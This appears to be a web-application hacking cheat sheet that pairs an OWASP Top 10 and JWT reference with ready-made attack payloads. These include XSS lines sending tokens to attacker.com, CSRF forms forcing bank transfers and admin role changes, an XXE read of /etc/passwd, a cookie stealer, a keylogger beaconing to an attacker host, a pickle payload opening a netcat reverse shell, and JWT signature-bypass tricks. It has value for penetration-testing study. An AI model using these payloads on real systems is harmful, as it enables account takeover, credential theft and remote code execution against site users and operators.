by: Hacking

Web app exploitation cannot happen without proxying and advanced tools such as:

  • Burp Suite
    • Not open-source, but it offers a free community edition [Link].
  • OpenVAS
    • Free and open-source [Link].

It is fundamental to master all OWASP TOP 10 vulnerabilities.

  • A01:2021 – Broken Access Control
    • Incorrectly implemented authentication and session management.
  • A02:2021 – Cryptographic Failures
    • Failure to protect data in transit and at rest. Examples: plaintext passwords, no SSL.
  • A03:2021 – Injection
    • Insecure input handling that allows malicious data to be executed as code.
  • A04:2021 – Insecure Design
    • Missing or ineffective security controls in the application’s design.
  • A05:2021 – Security Misconfiguration
    • Misconfigured access controls, such as default credentials or empty passwords.
  • A06:2021 – Vulnerable and Outdated Components
    • Using software that is vulnerable, unsupported, or out of date, including the OS and dependencies.
  • A07:2021 – Identification and Authentication Failures
    • Failure to properly confirm a user’s identity, authentication, and session management.
  • A08:2021 – Software and Data Integrity Failures
    • Data integrity issues related to code or infrastructure, including libraries from untrusted sources and CDNs.
  • A09:2021 – Security Logging and Monitoring Failures
    • Failures to detect, escalate, and respond to active breaches.
  • A10:2021 – Server-Side Request Forgery (SSRF)
    • Occurs when a web application fetches a remote resource without validating the user-supplied URL.

AUTHENTICATION

  • Basic Auth 
    • Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
    • Where dXNlcm5hbWU6cGFzc3dvcmQ= is username:password encoded in Base64.
  • Session Token 
    • Authorization: Bearer 68e8c01795215bc01492faf3403a400c
    • Where 68e8c01795215bc01492faf3403a400c is an opaque, randomly generated hash.
    • Requires a server-side lookup for each request (local storage or database), and can be revoked if compromised.
  • JWT 
    • Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30
    • The token is divided into three parts:
      • eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 is the header,
      • eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0 is the payload,
      • KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30 is the signature.
      • The signature makes the token self-sufficient: the server can verify it autonomously and accept it within the expiration period (not revokable).
    • The header defines how the header and payload are signed, typically using HS256 (symmetric) or RS256 (asymmetric).
      • A common mistake is not checking the signature at all (set "alg": "none" and optionally remove the signature entirely).
      • If the server-side key is exposed, try forcing HS256 and signing the token with the symmetric key.

On the client side, authentication is typically stored using one of the following methods.

  • Local Storage
    • Accessible by any script running on the page.
    • Susceptible to XSS attacks: 
      • fetch(`https://attacker.com/steal?data=${localStorage.getItem('token')}`);
      • new Image().src = `https://attacker.com/log?token=${localStorage.getItem('auth_token')}`;
      • location.replace(`https://attacker.com/collect?token=${localStorage.getItem('session')}`);
  • HTTP-Only
    • The token is stored at the browser level and is not accessible by JavaScript.
  • Cookie
    • When samesite=none, the browser sends the cookie with any request the page makes, including cross-origin requests.
    • Susceptible to CSRF attacks:
      • Reflected
        • Delivered to the victim via an external link, a spoofed website, or a malicious email.
        • The malicious page contains hidden code that makes a request to the vulnerable website on behalf of the user.
        • If the user is already authenticated on the vulnerable site, the browser sends a valid session token.
        • <img src="https://bank.com/transfer?amount=10000&to=AttackerID" width="0" height="0" />
        • <form id="steal" action="https://bank.com/transfer" method="POST">
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="to" value="AttackerID" />
</form><script>document.getElementById('steal').submit();</script>
      • Stored / DOM-Based
        • Malicious code (typically JavaScript or HTML) is stored persistently on a vulnerable website that does not properly sanitize user input (e.g. posts, messages, or support tickets).
        • Any user who views the infected page will unknowingly execute the attack.
        • Because the request originates from the same domain as the vulnerable site, it is highly effective at bypassing browser security settings and is often harder for users to detect.
        • DOM-Based differs from stored in that it occurs during live rendering of the page, but has the same impact and capability.
        • <img src="https://vulnerable-site.com/api/delete-account" width="0" height="0" />
        • <script>
fetch('https://vulnerable-site.com/api/update-role', {
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
method: 'POST', body: 'user_id=attacker_id&role=admin',
credentials: 'include' });
</script>
    • Some attacks can be prevented with samesite=strict, but not all.

MORE PAYLOADS

  • XXE (XML eXternal Entity attack)
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<root>&read;</root>
  • XSS (possible in JavaScript, VBScript, Flash, and CSS)

Popular payload sources: PayLoadBox [Link], XSS-Payloads [Link].

Quick test for low-hanging fruit:

<script>alert(1)</script>
<image src="javascript:alert(1)">
<body oninput=javascript:alert(1)><input autofocus>
<img \x00src=x onerror="alert(1)">

A payload for stealing cookies:

<script>document.location='http://ip:port/?='+document.cookie;</script>
<script>
var keys='';
document.onkeypress = function(e) {
  get = window.event?event:e;
  key = get.keyCode?get.keyCode:get.charCode;
  key = String.fromCharCode(key);
  keys+=key;
}
window.setInterval(function(){
  new Image().src = 'https://attackerAddress/kl.php?c='+keys;
  keys = '';
}, 1000);
</script>
  • Insecure Deserialization (the output of the following script is the payload)
import pickle
import sys
import base64
command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | ' '/bin/sh -i 2>&1 | netcat 10.10.10.10 4444 > /tmp/f'
class rce(object):
    def __reduce__(self):
        import os
        return (os.system,(command,))
print(base64.b64encode(pickle.dumps(rce())))

INJECTION

  • SQLmap – SQL injection and database takeover [Link]:
sqlmap -r requestFile
sqlmap -r requestFile --dump

Note: requestFile contains the HTTP request that SQLmap uses to perform injection iterations.

See more usage and examples of SQLmap in the other post [Link].

MORE ON JWT

<HEADER>.<BODY>.<SIGNATURE>

Handy online tools: [Link] and [Link].

  • Header
    • alg (Algorithm)
      • ES256 Elliptic Curve (asymmetric).
      • RS256 RSA with SHA-256 (asymmetric).
      • HS256 HMAC with SHA-256 (symmetric).
      • and more.
    • typ (Type)
      • JWT JSON Web Token. Default value.
      • JWS JSON Web Signature: a signed JSON.
      • JWE JSON Web Encryption: an encrypted JSON.
    • kid (Key ID)
      • Identifies the key used to sign the JWT.
    • jku (JWK Set URL)
      • Contains the URL to the public key in JWK Set JSON format, as an array of keys.
      • Most popular: RSA
        • use (Intended Use) = sig
        • n (Modulus) = Eq4...x3JjcHw
        • e (Exponent) = AQAB
        • alg (Algorithm) = RS256
      • Most secure: EC
        • crv (Curve) = P-256
        • x (Coordinate in Base64) = Usdf...Tou87Fs
        • y (Coordinate in Base64) = x9KJjo...MJ89x
        • alg (Algorithm) = ES256
  • Payload
    • Any data in JSON format.
  • Signature
    • A hash generated by applying a cryptographic function to a combination of the header and payload.